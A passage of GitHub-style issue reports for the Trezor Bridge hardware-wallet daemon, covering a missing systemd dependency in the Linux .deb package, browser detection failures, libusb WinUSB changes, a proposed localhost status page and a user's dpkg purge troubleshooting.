  6. click 'GET ADDRESS' button again

You should see
image

The current message from the device should be 'Features' not 'PassphraseRequest'. Maybe is cached?

console log:
image

deb package uses systemd's systemctl

The trezord package offered for download for Ubuntu 14.04 LTS relies of systemd's systemctl without explicitly declaring the dependency. This results in an error during installation. Regular users cannot be expected to work around it. Declaring the dependency would make the installation just fail due to unsatisifed dependency, without messing up the host system. However, it would be even nicer, if you provided a package version for Ubuntu 14.04 LTS, as it is still supported and is quite popular.

Bridge not found in KDE Neon

Up-to-date KDE Neon 5.12.5 based on ubuntu 16.04 LTS

I have been successfully using the Trezor extension in Chromium for eight months. Heeding the warning to begin using Trezor Bridge I installed 2.0.13 but can't connect with Chromium 66. Tried Firefox 60.0.1 and still not recognized. The trezord is running. Finally, I tried Brave 0.22.714 and it works!

I haven't started using Brave yet and would prefer to use Chromium. Why would a browser based on the Chromium code base work but not Chromium? Naturally I am a little nervous about removing my Trezor extension just yet.

Systemd Dependecy

I just to want bring attention to the controversial decision to use Systemd as a dependency for running Trezor bridge on Linux.

There are strong arguments for and against Systemd, I think it is wrong that people should be forced to install Systemd in order to use Trezor-Bridge on a Linux machine.

Trezor-bridge is the most user freindly tool. I want to use it on Linux. Please consider making it independent of Systemd.

Thanks

Remove the intrusive changes to libusbi.h

In this PR

#90

I have added a field into an originally internal and opaque structure libusb_device in libusbi.h (I added has_winusb_driver) because I wanted to filter out devices without winusb drivers, but I was too afraid to do it directly in windows_winusb.c. I fear memory leaks there, since the device listing function is (1) very unreadable and complex and (2) allocates new struct for each device, but (3) run very often, once per 500 ms. And I included this originally un-included header in go layer and check the new field in the struct there.

The problem is that windows (and therefore, libusb) lists the composite device before the drivers for all its sub-devices are installed, which creates a device with no driver on the one WinUSB endpoint while the device driver for the winusb endpoint is installed. Writing to that device then produces an error. But the go layer cannot detect that in any way, because the libusb interfaces are too abstract.

However, my change is very intrusive and prevents from integration with other OSes - #70

I should probably semi-revert that change and use a different detection in the go layer. For example, somehow change the vendor ID to be different, so it is then ignored in the go layer.

Add status page

Currently, people have no user feedback that the Bridge is running and operational, which makes our customer support blind while debugging connection issues. I propose to implement page on http://localhost:21325/, which will inform user that:

a) Bridge is installed and running
b) Bridge version
c) What devices it see

Security consideration: who can display this page? Only origin: null? Is that safe enough and/or are information displayed on the page sensitive enough to protect them in any other way?

Trezor-Bridge-2.0.6amd64.deb update, Wallet not responding

Dear all,
i am running Kubuntu 14.04 on 3.13.0-141-generic #190-Ubuntu SMP Fri Jan 19 12:52:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

After updating the new bridge from 1.2.1 to 2.0.6, wallet was not responding, restart did not help. "aptitude purge trezor-bridge" or "aptitude reinstall trezor-bridge" did not work.

Via dpkg just brought another failure -->
"sudo dpkg --purge --force-all trezor-bridge
dpkg: Warnung: Problem wird übergangen, weil --force angegeben ist:
dpkg: Warnung: Paket ist in einem sehr schlechten inkonsistenten Zustand - Sie sollten
es erneut installieren, bevor Sie es zu entfernen versuchen.
(Lese Datenbank ... 320850 Dateien und Verzeichnisse sind derzeit installiert.)
Entfernen von trezor-bridge (2.0.6) ...
/var/lib/dpkg/info/trezor-bridge.prerm: 1: /var/lib/dpkg/info/trezor-bridge.prerm: systemctl: not found
/var/lib/dpkg/info/trezor-bridge.prerm: 2: /var/lib/dpkg/info/trezor-bridge.prerm: systemctl: not found
dpkg: Fehler beim Bearbeiten des Paketes trezor-bridge (--purge):
Unterprozess installiertes pre-removal-Skript gab den Fehlerwert 127 zurück
/var/lib/dpkg/info/trezor-bridge.postinst: 1: /var/lib/dpkg/info/trezor-bridge.postinst: systemctl: not found
/var/lib/dpkg/info/trezor-bridge.postinst: 2: /var/lib/dpkg/info/trezor-bridge.postinst: systemctl: not found
dpkg: Fehler beim Aufräumen:
Unterprozess installiertes post-installation-Skript gab den Fehlerwert 127 zurück
Fehler traten auf beim Bearbeiten von:
trezor-bridge
"

The only thing that helped was to remove the scripts in down below, then i could purge the trezor-bridge package.
/var/lib/dpkg/info/trezor-bridge.postinst
/var/lib/dpkg/info/trezor-bridge.preinst
/var/lib/dpkg/info/trezor-bridge.prerm

After that, installing trezor-bridge-1.2.1-amd64.deb brought back a working wallet.
Please look into it, the new bridge is not working on this system.

Kind regards,
elrippo

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.